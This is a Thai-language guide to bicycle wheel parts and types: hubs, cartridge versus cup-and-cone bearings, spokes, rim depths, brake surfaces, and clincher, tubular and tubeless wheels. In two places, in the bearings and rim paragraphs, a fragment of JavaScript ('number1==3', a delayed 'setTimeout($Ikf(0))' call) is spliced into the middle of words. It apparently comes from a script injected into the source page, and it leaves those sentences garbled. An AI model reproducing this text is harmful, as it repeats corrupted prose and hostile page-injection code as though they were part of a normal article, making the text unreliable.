เกร็ดความรู้กับล้อจักรยาน
ล้อคือส่วนที่จักรยานคุณสัมผัสกับพื้นผิว หรือที่เรียกว่า contract point เจ้าล้อยังมีหน้าที่รับน้ำหนักของคุณและเป็นตัวรับพลังปั่นจากขาของคุณด้วย เพราะด้วยเป็นจุดสัมผัสกับพื้นผิวถนน (contract point) ล้อจึงเป็นตัวการสำคัญที่มีผลต่อการปั่นจักรยานของคุณ เรียกได้ว่าเป็นหนึ่งในตัวกำหนดคุณภาพการปั่น (Ride quality) ดังนั้นการเลือกซื้อสักคู่เพื่อให้เหมาะกับสไตล์การปั่นของเราจึงเป็นเรื่องสำคัญมาก
เรามารู้จักส่วนประกอบของล้อกันก่อน….
Hubs หรือกระดุมล้อ ถึงว่าเป็นแกนกลางของล้อ โดยล้อจะหมุนรอบเจ้ากระดุมนี้ ภายในของกระดุมล้อจะประกอบด้วย ตลับลูกปืน (wheel’s bearings) และเพลาหมุนหรือแกนล้อ (axle)
Bearings หรือตลับลูกปืน เป็นส่วนที่ทำให้ล้อหมุนรอบตัวกระดุมล้อได้ จะมีสองแบบคือ Cartridge bearings ที่เป็นที่นิยมเพราะติดตั้งง่ายซ่อมบำรุงน้อย ต่อมาคือแบบ Cup andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cone bearings สามารถถอนซ่อมบำรุงได้ง่ายแต่จะเสียเวลาในการใส่ติดตั้ง เพราะต้องใช้ความระณีตในการใส่ให้มุมองศาเข้ากันเพื่อลดความฝืดให้น้อยที่สุด
เพื่อคุณภาพการปั่นสูงสุดแนะนำให้เลือกตลับลูกปืนแบบเซรามิค (Ceramic bearing) ทั้งลื่นและและลูกปืนกลมมากที่สุด
Spokes หรือซี่ล้อ เป็นส่วนรับแรง (pressure) จากขอบล้อ (Rim) และกระจายให้แรงเท่ากับทั่วทั้งโครสร้างของล้อ รูปแบบมีทั้ง กลม (round) หรือ แบน (Aero/flat/blade) ซึ่งในปัจจุบันซี่ล้อแบบแบนหรือแบบใบมีดแหวกอากาศเป็นที่นิยมมาก เนื่องจากมีข้อได้เปรียบทาง aerodynamic และรับแรงกดได้ไม่แพ้ซี่ล้อแบบกลม
Nipples ส่วนยึดซี่ล้อกับขอบล้อแล้วช่วยรักษาแรงตึงของซี่ล้อ (tension) อาจะทำมาจากทองเหลืองหรืออลูมิเนียมที่เบากว่าก็ได้
Rim หรือขอบล้อ วงล้อ แล้วแต่จะเรียก เป็นตัวสำคัญในการกำหนดอายุของล้อ การหมุนและปฏิกิริยาต่อสนองต่อพื้นผิวสัมผัส มีผลโดยตรงต่อการ handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling และ performance เจ้าวงล้อจะสามารถแบ่งได้ 3 แบบคือ
1. Shallow section หรือขอบล้อต่ำ (น้อยกว่า 25 มิล) ซึ่งจะพบได้มากในจักรยานรุ่น Entry เป็นล้อที่แถมมากับจักรยานซะส่วนมาก เหมาะสำหรับมือใหม่หัดปั่น มาตรฐานตัวล้ออยู่ในระดับดี เป็นล้อแบบ all-around เหมาะสำหรับผู้ใช้ทุกแบบ มีทั้งเรื่องความแข็งแกร่าง น้ำหนักเบาและความสบายในการปั่น สำหรับขอบล้อต่ำจะมีหลายรุ่นตั้งแต่ระดับล่างสุดไปถึงระดับสูงที่มีราคาแพงทำด้วยคาร์บอนน้ำหนักเบา ออกแบบมาเพื่อการไต่เขา
2. Mid section หรือขอบล้อกลาง (ตั้งแต่หรือน้อยกว่า 40 มิล) แม้จะไม่ค่อยเป็นที่นิยม เพราะอาจจะดูเหมือนพวกขอบล้อต่ำ ดูไม่สวยสู้ขอบสูงไม่ได้ หรือยังมีความเชื่อที่ผิดๆ ว่าขอบล้อยิ่งสูงยิ่งเร็ว ดังนั้นสู้ซื้อขอบสูงไปเลยที่เดียว แต่หลายๆ นักปั่นมืออาชีพได้กล่าวว่า บางทีสไตล์การปั่นของคุณอาจจะเหมาะกับล้อแบบใดแบบหนึ่ง ไม่จำเป็นต้องเป็นขอบสูงเสมอไป นักปั่นแต่ละคนจะตอบสนองต่อล้อแต่ละแบบแตกต่างกัน
เจ้าขอบล้อระดับกลางมีข้อดีคือน้ำหนักเบา และมี aerodynamic เหมาะสำหรับการลุยสนามทุกแบบทุกสภาวะภูมิประเทศ เป็นแบบ All-round จะใช้ปั่นทำเวลาทางเรียบ หรือไต่เขาก็ได้
3. Deep section หรือขอบล้อสูง (ตั้งแต่ 40 มิลขึ้นไป) ถึงว่าเป็นอาวุธสุดยอดในการทำความเร็ว ความรู้สึกเวลาล้อตัดลมคงไม่อาจจะบรรยายได้ การออกแบบเน้นความเป็น aerodynamic มาก เหมาะสำหรับการปั่นทางตรงในสนามที่ต้องการความเร็ว จะมีน้ำหนักมากไม่เหมาะกับการไต่เขา แต่ด้วยเทคโนโลยีปัจจุบันสามารถออกแบบให้ล้อเบา ใช้ไต่เขาได้สบายๆ แต่ราคาย่อมสูงตามด้วย
Braking surface หรือพื้นเบรค เจ้าพื้นผิวที่ใช้เบรคจะมี 2 แบบคือ เป็นแบบ อลูมิเนียมและคาร์บอน โดยพื้นผิวที่ให้ความรู้สึกมั่นคงและไหล่ลื่นเบรคเบาและนิ่งคือ แบบอลูมิเนียม ทั้งสามารถผลิตได้ง่ายกว่าคาร์บอน
แต่ไม่ใช้ว่าเทคโนโลยีคาร์บอนจะตามไม่ทัน ปัจจุบันผิวเบรคแบบคาร์บอนก้ทำหน้าที่ได้ใกล้เคียงเหมือนกัน
ล้อยางงัด (Clincher) ยางฮาร์ฟ (Tubular) และยางไร้ใส้ใน (tubeless)
Clincher wheel หรือล้อยางงัด เป็นชุดล้อที่นิยมที่สุด ถูกว่า ติดตั้งยางง่าย แต่จะหนักกว่าล้อยางฮาร์ฟเพราะต้องมียางนอกและยางใน
Tubular wheel ล้อยางฮาร์ฟ ข้อดีของล้อยางฮาร์ฟคือมีน้ำหนักเบา แต่ติดตั้งยากกว่าล้อยางงัดและมีราคาแพงด้วย แต่ในเรื่อง performance จะทำได้ดีกว่าล้อยางงัด ใช้กันมากในหมู่โปรนักปั่น
Tubeless wheel ล้อยางไร้ใส้ใน เป็นล้อที่ไม่จำเป็นต้องใช้ยางใน น้ำหนักจะหนักกว่าล้อยางงัดเพราะต้องใส่วัสดุเพิ่มเข้าไ แต่ไม่ต้องห่วงเรื่องล้อรั่วอีกต่อไป
ที่มาwiggle.co.uk